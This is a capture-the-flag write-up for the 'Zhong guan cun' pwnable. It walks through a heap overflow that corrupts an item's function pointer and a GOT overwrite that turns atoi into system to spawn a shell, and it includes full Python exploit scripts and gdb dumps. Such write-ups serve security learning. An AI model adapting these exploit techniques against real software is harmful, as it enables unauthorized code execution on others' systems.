We’re entering a CTF almost every weekend now, but they’ve been really tough. I did not manage to exploit this challenge in time, but one day after the CTF ended I had an epiphany and got my exploit working. I figured I’d share how I approached this challenge for future reference.
For this pwnable, called Zhong guan cun, we’re given a 32-bit ELF binary and libraries. The task is to exploit it remotely and grab a flag. As said, I did not manage to grab the flag, but I got the exploit working locally.
The binary represents some kind of online store testing program, where we’re able to set a name and add items to the shop. Then, we can try out said shop, buying the items and asking for wholesale prices. We cannot modify any entry, nor delete anything after we’ve set it.
Playing around with the binary a bit, I noticed that it immediately quit when attempting to overflow a buffer.
*********************************
*** Welcome to Zhong Guan Cun ***
*********************************
Are you dreaming of becoming a Milli$_$naire?
Come to sell some electronics!
a) Register my store
b) Try my store
c) Exit
Your choice? a
What's the name of your store? BLEHa) Sell a phoneb) Sell a watchc) Generate a store menud) Return to main menuYour choice? aPhone's name? PHONE1
1) Android OS
2) iOS
3) Windows OS
4) Blackberry OS
5) Symbian OS
Choose Phone's OS? 1Phone's price? 99999999999
Phone's description? PHONE1
New phone added successfully!
a) Sell a phone
b) Sell a watch
c) Generate a store menu
d) Return to main menu
Your choice? c
<<< Store Name: BLEH >>>
=== Items in the store===1) Android OS Phone PHONE1 price: 2147483647 CNY description: PHONE1
Congraz! Your store menu is generated successfully!
a) Sell a phone
b) Sell a watch
c) Generate a store menu
d) Return to main menu
Your choice? AAAAAAAAAAAAAAAAAAAAAAAAA
Input is Too Long.
$
I reversed the item struct. The items are stored on the heap and we can’t have more than 16 items in total.
123456789101112131415
.-- ptr to two function addresses
| .-- start of phone/watch name, 0x20 bytes long
v v
0x8257008: 0x08049b70 0x41414141 0x41414141 0x41414141
0x8257018: 0x41414141 0x41414141 0x41414141 0x41414141
.-- start of phone/watch description, 0x50 bytes long
v
0x8257028: 0x00414141 0x42424242 0x42424242 0x42424242
0x8257038: 0x42424242 0x42424242 0x42424242 0x42424242
0x8257048: 0x42424242 0x42424242 0x42424242 0x42424242
0x8257058: 0x42424242 0x42424242 0x42424242 0x42424242
0x8257068: 0x42424242 0x42424242 0x42424242 0x42424242
0x8257078: 0x00424242 0x000003e8
^
`-- price
After finding the function that reads in the input, I tried to find an overflow or off-by-one vulnerability, but everything was locked down tight. There was, however, another thing that caught my attention.
Heaps of fun
We have to corrupt some piece of memory somewhere, but the items themselves are not going to cut it. We do, however, have control over the store menu string. This turned out to be the key. If I first added an item, then generated the store menu string and finally added a second item, the layout of the items and store menu on the heap was like this:
123456789101112
gdb-peda$ x/20wx 0x804b300
.-- ptr to store menu string
v
0x804b300: 0x0804c088 0x00000000 0x00000000 0x00000000
0x804b310: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b320: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b330: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b340: 0x0804c008 0x0804cbb8 0x00000000 0x00000000
^ ^
`-- item1 |`-- item2
e.g. item1 | store_menu | item2
The store description string was in between the items on the stack. The items contained a pointer to two function address:
123456789
.-- ptr to two function addresses
| .-- start of phone/watch name, 0x20 bytes long
v v
0x8257008: 0x08049b70 0x41414141 0x41414141 0x41414141
^
|`--- this value points to two functions:
gdb-peda$ x/2wx 0x08049b70
0x8049b70: 0x08049466 0x080492fe
If I could somehow overwrite that pointer of an item by overflowing the store description string, I could possible get code execution (it was nowhere near that easy, but bear with me). I started trying to generate large items, and indeed, I could overflow the function pointer of the second item using large inputs. The trick was to also set the price to a negative value, giving me just enough bytes to overflow. I whipped up a poc python script to do this for me. The layout and some functions of this poc are heavily inspired by saelo!
fromsocketimport*importstruct,telnetlibdefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefsendln(b):s.send(b+b'\n')defsendbin(b):s.sendall(b)defp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)s.connect(('localhost',6666))# pause to allow gdb to attachraw_input()# register storereadtil('choice?')sendln('a')readtil('store?')sendln("S"*63)# store name; maximum allowed, need it to overflow a buffer later!# the program *needs* to have an item to sell before it can generate a store menureadtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*0x4f)# generate store menu. this will be 0xb20 bytes large, on the heap. readtil('choice?')sendln('c')# second item, will be allocated after the store menu string# this is the one whose function pointer we will corruptreadtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('9'*0xf)# this will make the price of this item 0x7fffffff, ready to be abused laterreadtil('description?')sendln('B'*0x4f)# allocate the rest of the itemsforiinrange(13):readtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)# for these, we'll need the minus sign.readtil('description?')sendln('B'*0x4f)# overflowreadtil('choice?')sendln('a')readtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*(0x4f-4)+'CCCC')# overflow with 0x43434343readtil('choice?')sendln('c')# generate store menu & overflow; 2nd item now points to 0x43434343raw_input()pwn()
And in action:
1234567891011121314151617181920212223242526272829
gdb-peda$x/40x0x804b3000x804b300:0x08a500880x000000000x000000000x000000000x804b310:0x000000000x000000000x000000000x000000000x804b320:0x000000000x000000000x000000000x000000000x804b330:0x000000000x000000000x000000000x000000000x804b340:0x08a500080x08a50ba80x08a50c280x08a50ca80x804b350:0x08a50d280x08a50da80x08a50e280x08a50ea80x804b360:0x08a50f280x08a50fa80x08a510280x08a510a80x804b370:0x08a511280x08a511a80x08a512280x08a512a80x804b380:0x000000000x000000000x000000000x000000000x804b390:0x000000000x000000000x000000000x00000000# let's have a look at the second item:gdb-peda$x/40wx0x08a50ba8.--nowoverwritten!v0x8a50ba8:0x434343430x414141000x414141410x414141410x8a50bb8:0x414141410x414141410x414141410x414141410x8a50bc8:0x004141410x04b037410x414141080x414141410x8a50bd8:0x414141410x414141410x414141410x414141410x8a50be8:0x414141410x414141410x414141410x414141410x8a50bf8:0x414141410x414141410x414141410x414141410x8a50c08:0x414141410x414141410x414141410x414141410x8a50c18:0x004141410x7fffffff0x000000030x00000081.--normalpointerv0x8a50c28:0x08049b700x414141410x414141410x414141410x8a50c38:0x414141410x414141410x414141410x41414141
I was ready to rock & roll! I dumped in an address of a gadget, hoping to get code execution. There were, however, two small problems. First, the binary takes the pointer stored at the start of the item struct and then derefences it to get a second pointer to a function:
So I needed to have a pointer to a pointer on the heap. I had no way of leaking the heap address yet. I tried to overflow using the address of a got pointer so I could use sprintf to leak further information, but then the function at 0x8048fdd reared its ugly head:
I didn’t see it at first, until I overwrote the function pointer in the item struct with a got address. This address is readable and writeable. This function then tries to read a byte from /dev/zero into the function pointer. If it fails, no problem, execution will happily continue. If it succeeds, however, it will immediately halt execution of the binary. I was in trouble!
I could not call imported functions from the got, nor could I just find any old gadget. Because of the dereferencing, the address of the gadget had to be present in the binary in a non-writeable section!
Finally, I turned to a function that was already in the binary, used for watches:
The first function is called when asking for a wholesale price. However, the second function at 0x0804932e is used in the generation of the store menu.
I chose to overwrite the function pointer in the item struct with with 0x8049b64. This causes the program to call 0x804932e instead of the ‘get wholesale price’-function with an attacker supplied argument. This will allow me to overwrite a piece of memory with the generated string. If I set the description or name of an item correctly and I applied a correct offset, I could overwrite anything I want. There was some collateral damage to surrounding memory, however, making it impossible to overwrite a got pointer directly. The program contains another puzzle piece and I wanted to gain control over that instead.
Going for the big bucks
On the heap was an integer (or DWORD) that holds the amount of money that the simulated store customer has. The program substracts from this amount when a purchase is done, making it potentially a write-primitive. The pointer to this heap address lives at 0x804b280. I wanted to overwrite this pointer with the address of atoi@got. Then, I would be able to update the pointer at atoi@got. Why atoi? Because it also uses one argument, just like system. If I could make atoi point to system, I had an easy way of spawning a shell. I modified the poc to do this:
fromsocketimport*importstruct,telnetlibdefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefsendln(b):s.send(b+b'\n')defsendbin(b):s.sendall(b)defp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)s.connect(('localhost',6666))#s.connect(('146.148.60.107', 6666))# pause to allow gdb to attachraw_input()# register storereadtil('choice?')sendln('a')readtil('store?')# store name; maximum allowed, need it to overflow a buffer later!sendln("S"*63)# the program *needs* to have an item to sell before it can generate a store menureadtil('choice?')sendln('a')readtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*0x4f)# generate store menu. this will be 0xb20 bytes large, on the heap. # overflow such that the store description will overwrite the second item's function pointerreadtil('choice?')sendln('c')# second itemreadtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln(''+'9'*0xf)# this will make the price of this item 0x7fffffff, ready to be abused laterreadtil('description?')# use this later to overwrite the ptr to the money DWORDsendln('A'+p(0x804b038)+'A'*(0x4f-5))# 0x804b038 = atoi@got# allocate the rest of the itemsforiinrange(13):readtil('choice?')sendln('a')readtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*0x4f)# overflowreadtil('choice?')sendln('a')readtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')# 0x8049b64 is a pointer to 0x0804932esendln('B'*(0x4f-4)+p(0x8049b64))# generate store menu & overflow; 2nd item now points to 0x8049b64: 0x0804932e -> sprintf function, used to overwrite ptr to moneyreadtil('choice?')sendln('c')readtil('choice?')sendln('d')readtil('choice?')sendln('b')printreadtil('buy?')sendln('2')readtil('choice?')# get wholesale price, trigger function 0x0804932esendln('b')readtil('buy?')# this value is used as an argument for 0x0804932e, conveniently translated for us by atoi!# it is 0x804b280-51, so that the output of sprintf is aligned and will overwrite the money pointer with the address of atoi@gotsendln('134525517')readtil('choice?')# ok, now have control over ptr to money!t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
This allowed me to write to atoi@got! Or so I thought. The problem is that atoi@got contains 0xf74e2880, which is atoi in libc. This number is interpreted by the program as a negative amount of money. When trying to modify the value at atoi@got, the value it contains is passed via this block of code:
Since I needed to modify atoi (0xf74e2880) to system (0xf74f0c30), this sub ecx,eax / js block above would never let me modify the pointer in the global offset table to system. Looking back, the solution is easy, but I could not figure it out late at night.
Take one step back
After the CTF had ended, it dawned on me: I did not have to modify the got pointer of atoi completely, I could modify part of it! After all, if I move one byte back, the value I would be modifying would be 0x4f0c30xx; this is still a positive number! Of course, it is possible that atoi is located at an address such as 0xf7dff880; in this case, it still would not work.
I updated the poc once more, to make the money object point to atoi@got-1. I needed to add 0x50dc3000-0x4ff88000 = 14921728 to atoi so that it points to system (at least, locally, on my box). This is done by buying item 2. It’s price is set to 0x7fffffff. Multiplying that by 14921728 gives an integer overflow to 0xff1c5000. The latter value will be subtracted from the value at atoi-1, conveniently updating the right portion of atoi!
fromsocketimport*importstruct,telnetlibdefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefsendln(b):s.send(b+b'\n')defsendbin(b):s.sendall(b)defp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)s.connect(('localhost',6666))#s.connect(('146.148.60.107', 6666))# pause to allow gdb to attachraw_input()# register storereadtil('choice?')sendln('a')readtil('store?')sendln("S"*63)# store name; maximum allowed, need it to overflow a buffer later!# the program *needs* to have an item to sell before it can generate a store menureadtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*0x4f)# generate store menu. this will be 0xb20 bytes large, on the heap. readtil('choice?')sendln('c')# second itemreadtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln(''+'9'*0xf)# this will make the price of this item 0x7fffffff, ready to be abused laterreadtil('description?')sendln('A'+p(0x804b038-1)+'A'*(0x4f-5))# 0x804b038 = atoi@got # allocate the rest of the itemsforiinrange(13):readtil('choice?')sendln('a')# sell a phonereadtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*0x4f)# overflowreadtil('choice?')sendln('a')readtil('name?')sendln('A'*0x1f)readtil('OS?')sendln('4')readtil('price?')sendln('-'+'9'*0xe)readtil('description?')sendln('B'*(0x4f-4)+p(0x8049b64))readtil('choice?')sendln('c')# generate store menu & overflow into 2nd itemreadtil('choice?')sendln('d')readtil('choice?')sendln('b')printreadtil('buy?')sendln('2')readtil('choice?')sendln('b')# get wholesale pricereadtil('buy?')sendln('134525517')# is 0x804b280-51, so that the sprintf is aligned and will overwrite the money pointer with atoi@got or snprintf@gotreadtil('choice?')sendln('a')readtil('buy?')sendln('14921728')# this is the offset of atoi to system on *my* box, 58288*256 (the *256 is to compensate for the crooked ptr)readtil('choice?')sendln('a')readtil('buy?')sendln('/bin/sh;')# ok, should have a shell by now!t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
The binary is running locally via socat. Running the python script lands a shell:
123456789101112
bas@tritonal:~/tmp/bctf/zhonguancun$ python ./zhong.py
<<< Store Name: SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS >>>
...snip...
15) Blackberry OS Phone AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA price: -2147483648 CNY description: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
16) Blackberry OS Phone AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA price: -2147483648 CNY description: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBd�
Your total money: 100000 CNY.
What do you want to buy?
whoami
bas
uname -a
Linux tritonal 3.2.0-4-amd64 #1 SMP Debian 3.2.65-1+deb7u2 x86_64 GNU/Linux
Unfortunately, a day too late for the CTF.
Conclusion
I had found nearly all the puzzle pieces, yet missed the final small piece. For the next CTF, I will Try Harder!